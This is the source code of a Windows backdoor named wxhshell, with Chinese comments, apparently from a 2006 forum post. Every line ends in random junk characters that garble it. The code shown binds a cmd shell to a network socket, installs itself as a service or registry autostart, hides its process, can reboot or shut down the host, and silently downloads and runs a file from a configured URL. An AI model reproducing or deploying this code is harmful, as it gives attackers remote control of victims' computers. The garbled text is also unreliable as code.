    switch(cmd[0]) { " ;w}3+R  
  F;!2(sPS  
  // 帮助 l\!-2 T6Y  
  case '?': { LFp]7Dq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O:/y Ac`  
    break; 4^' 3&vu  
  } 'QH1=$Su  
  // 安装 G>Em! 4h  
  case 'i': { Dli^2hD  
    if(Install()) QIn/,Yd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;#) mLsl  
    else }T0K^Oe+eS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2~p[7?sp'  
    break; &~f3psA  
    } OAZ#|U   
  // 卸载 0ZPV' `KGp  
  case 'r': { - ?!:{UXl  
    if(Uninstall()) 6`"M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DV]7.Bm  
    else w*w?S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & Rz, J]  
    break; W {.78Zi9K  
    } MY nH2w]  
  // 显示 wxhshell 所在路径 Er:?M_ev  
  case 'p': { pY^9l3y^  
    char svExeFile[MAX_PATH]; ^yKY'>T#d  
    strcpy(svExeFile,"\n\r"); } i)$n(A)K  
      strcat(svExeFile,ExeFile); `Xc irfp  
        send(wsh,svExeFile,strlen(svExeFile),0); 7/X"z=Q^|  
    break; *Wb=WM-.  
    } jB^OP1  
  // 重启 jUjr6b"  
  case 'b': { x@cN3O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C;\VO)]t  
    if(Boot(REBOOT)) g.#+z'l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<L#q)]  
    else { ;? uC=o>Z{  
    closesocket(wsh); gw3NS8 A+  
    ExitThread(0); P-JfV7(O8  
    } C@HD(..#  
    break; 4W\,y_Q o  
    } '3kcD7  
  // 关机 ke.7Zp2.R  
  case 'd': { $)e:8jS=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s"0b%0?A  
    if(Boot(SHUTDOWN)) ~j,TVY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +3bfD  
    else { n*qN 29sx  
    closesocket(wsh); %f[Ep 3D  
    ExitThread(0); ?SUQk55w  
    } j/<??v4F4  
    break; iM64,wnA  
    } K ar~I  
  // 获取shell u5gZxO1J5  
  case 's': { ~Y/z=^  
    CmdShell(wsh); 2%]hYr;  
    closesocket(wsh); >7>7/7=O  
    ExitThread(0); gB CC  
    break; }g,X5v?W  
  } T~Yg5J  
  // 退出 ehc<|O9tY  
  case 'x': { &9ki O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lfMH1llx  
    CloseIt(wsh); f Lk"tW  
    break; 8 G?b.NE^  
    } W:ixzpQ  
  // 离开 I>m;G `  
  case 'q': { gv` h-b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O~Uw&Bq  
    closesocket(wsh); Z oTNm  
    WSACleanup(); Kpu<rKP`  
    exit(1); G(i\'#5+  
    break; ;2W2MZ!TF  
        } [>uwk``_  
  } |,fh)vO  
  } w:tGPort  
Z)v)\l9d  
  // 提示信息 S 1>Z6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GHrBK&  
} 2?*1~ 5~I  
  } !`h~`-]O  
L9'-  
  return; )9pBu B  
} xucIjPi]  
\R;K>c7=  
// shell模块句柄 ) hPVX()O!  
int CmdShell(SOCKET sock) G+Ei#:W,  
{ hd=j56P5P  
STARTUPINFO si; 0XQ-   
ZeroMemory(&si,sizeof(si)); bfc.rZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \1khyF'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =[8d@d\  
PROCESS_INFORMATION ProcessInfo; ht$ WF  
char cmdline[]="cmd"; <lX:eR1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W.GN0(uG  
  return 0; D99N#36PU  
} .i\wE@v  
:6sGX p  
// 自身启动模式 ^"/Dih\_  
int StartFromService(void) I]UA0[8X  
{ $u- lo|  
typedef struct {C,  #rj  
{ IM|Se4;x  
  DWORD ExitStatus; kt5YgW  
  DWORD PebBaseAddress; v,@E}F~-f1  
  DWORD AffinityMask; ^K*~ <O-  
  DWORD BasePriority; f#2#g%x  
  ULONG UniqueProcessId; !}C4{Bgt*  
  ULONG InheritedFromUniqueProcessId; %!W 6<ioW  
}   PROCESS_BASIC_INFORMATION; aSxG|OkKy  
<y'qo8oqF  
PROCNTQSIP NtQueryInformationProcess; z4 nou>  
^w ]1qjGw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !4!S{#<q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MgSp.<!  
/G[+E&vj  
  HANDLE             hProcess; xBt4~q;#sE  
  PROCESS_BASIC_INFORMATION pbi; T[mw}%3<v  
[cY?!Qd 0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kkG_ +Y  
  if(NULL == hInst ) return 0; e*6U |+kJ  
939]8BERt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YGi/]^Nba  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ArLz;#AOn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h7)VJY  
a'o}u,e5  
  if (!NtQueryInformationProcess) return 0; `8qT['`#R  
m.|qVN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ye56-T  
  if(!hProcess) return 0; 'bbV<? ):  
nA|gQibA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V%VrAi.  
IH*U!_ `  
  CloseHandle(hProcess); zLE>kK  
dY48S{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :4Id7Ce  
if(hProcess==NULL) return 0; -%7Jj;yA  
z|taa;iM  
HMODULE hMod; h0&>GY;i  
char procName[255]; yd{Y}.  
unsigned long cbNeeded; \a9D[wk;@  
|8&\N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #r78Ym'aI  
tRpL0 =y  
  CloseHandle(hProcess); &/z+A{Hi  
Ac*B[ywA3  
if(strstr(procName,"services")) return 1; // 以服务启动 ?HEo9/ *7  
|*/uN~[  
  return 0; // 注册表启动 ?[a7l:3-[  
} ~5XL@jI^  
F}VS)  
// 主模块 6:SK{RSURC  
int StartWxhshell(LPSTR lpCmdLine) Y`E {E|J  
{ >llwNT  
  SOCKET wsl; ZEXj|wC  
BOOL val=TRUE; ]x5(bnW x  
  int port=0; BXKlO(7  
  struct sockaddr_in door; `2Z4#$.  
+aXMHT"U  
  if(wscfg.ws_autoins) Install(); v#T?YK  
QI :/,w  
port=atoi(lpCmdLine); YFC0KU  
Lv`8jSt\  
if(port<=0) port=wscfg.ws_port; UeK, q>i  
ePPp)=  
  WSADATA data; @[[C s*-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )edU <1P  
g9 grfN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x3p;H02i\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y5Z<uwXc  
  door.sin_family = AF_INET; m;$F@JJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hz;jJ&S  
  door.sin_port = htons(port); hhh: rmEZl  
nf+"vr}1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v"Ud mv"  
closesocket(wsl); m`1}O"<&i  
return 1; qQ?,|4)y  
} 56j/w[&8  
MU^xu&MB  
  if(listen(wsl,2) == INVALID_SOCKET) { jmZ|b6  
closesocket(wsl); ki][qvXJ  
return 1; PL$(/Z  
} Cs~\FI1wR  
  Wxhshell(wsl); eA~_)-Z-  
  WSACleanup(); BW(DaNt^  
d9Ow 2KrC  
return 0; V~gUMu4ot  
9DP75 ti  
} fSQ3 :o  
sLpCWIy  
// 以NT服务方式启动 j8ohzX[Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p;QX"2  
{ KWuj_.;  
DWORD   status = 0; 4d3]pvv  
  DWORD   specificError = 0xfffffff; >TJKH^7n  
QWQ6j#`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .of:#~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  kAe-d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aR(Z~z;C  
  serviceStatus.dwWin32ExitCode     = 0; (qc!-Isd~[  
  serviceStatus.dwServiceSpecificExitCode = 0; l4BO@   
  serviceStatus.dwCheckPoint       = 0; Xta>  
  serviceStatus.dwWaitHint       = 0; HDae_.  
77bZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !kk %;XSZ  
  if (hServiceStatusHandle==0) return; `b'|FKc]  
C,e$g  
status = GetLastError(); 3M:B?2  
  if (status!=NO_ERROR) x2IU PM  
{ kBQenMm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JV6U0$g_S  
    serviceStatus.dwCheckPoint       = 0; s)'_{ A"h  
    serviceStatus.dwWaitHint       = 0; x) qHeS  
    serviceStatus.dwWin32ExitCode     = status; dmMr8-w  
    serviceStatus.dwServiceSpecificExitCode = specificError; i(cb&;Xx:A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A ** M"T  
    return; Tk|;5^#H  
  } 1#X= &N  
2BU)qv-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `0WA!(W  
  serviceStatus.dwCheckPoint       = 0; E1 gTrMo  
  serviceStatus.dwWaitHint       = 0; zxmI/]3+/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); */dsMa  
} t=\[J+  
bqwW9D(  
// 处理NT服务事件,比如:启动、停止 WHj4#v(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;7=J U^@D@  
{ byxehJ6[V  
switch(fdwControl) )B5gs%u]  
{ %-p{?=:K  
case SERVICE_CONTROL_STOP: yt#;3  
  serviceStatus.dwWin32ExitCode = 0; lNeF>zz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {-]HYk  
  serviceStatus.dwCheckPoint   = 0; }Z$G=;3#  
  serviceStatus.dwWaitHint     = 0; &)}:Y!qiu  
  { kvVz-P Jy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fB"gM2'  
  } <hC3#dNRd  
  return; S aq>o.  
case SERVICE_CONTROL_PAUSE: 4O"kOEkKT>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yzzre>F  
  break; <>/MKMq!  
case SERVICE_CONTROL_CONTINUE: Gqb-3n gH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fU7:3"|s8  
  break; QgM_SY|Rj  
case SERVICE_CONTROL_INTERROGATE: 'Mhdw}  
  break; ={vtfgxl  
}; u,9U0ua@;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4z DAfi#0  
} BU{ V,|10a  
Zd/~ *ZA  
// 标准应用程序主函数 / H/Ne )r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {+mkXp])R  
{ Dk6\p~q  
bjX$idL  
// 获取操作系统版本 }ucg!i3C  
OsIsNt=GetOsVer(); vX24W*7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fx"+ZR  
Nmq5Tv  
  // 从命令行安装 'ZgW~G]S  
  if(strpbrk(lpCmdLine,"iI")) Install(); zszx@`/3  
t[ocp;Q  
  // 下载执行文件 *fX)=?h56  
if(wscfg.ws_downexe) { UimZ/\r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `3s-\>  
  WinExec(wscfg.ws_filenam,SW_HIDE); A0sW 9P6F  
} CrQ& -!Eh  
ADUI@#vk  
if(!OsIsNt) { zX Pj7K*  
// 如果时win9x,隐藏进程并且设置为注册表启动 jM<Ihmh|  
HideProc(); Gnq~1p5^  
StartWxhshell(lpCmdLine); lY?d*qED  
} ~[,TLg 6  
else a{.n(M  
  if(StartFromService()) rqo<Xt`  
  // 以服务方式启动 Db:WAjU  
  StartServiceCtrlDispatcher(DispatchTable); bG?[":k  
else P6'I:/V  
  // 普通方式启动 $QnfpM%+=  
  StartWxhshell(lpCmdLine); bJ}+<##  
l0 _O<  
return 0;  e n":  
}
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只看该作者 1 发表于: 2006-10-10
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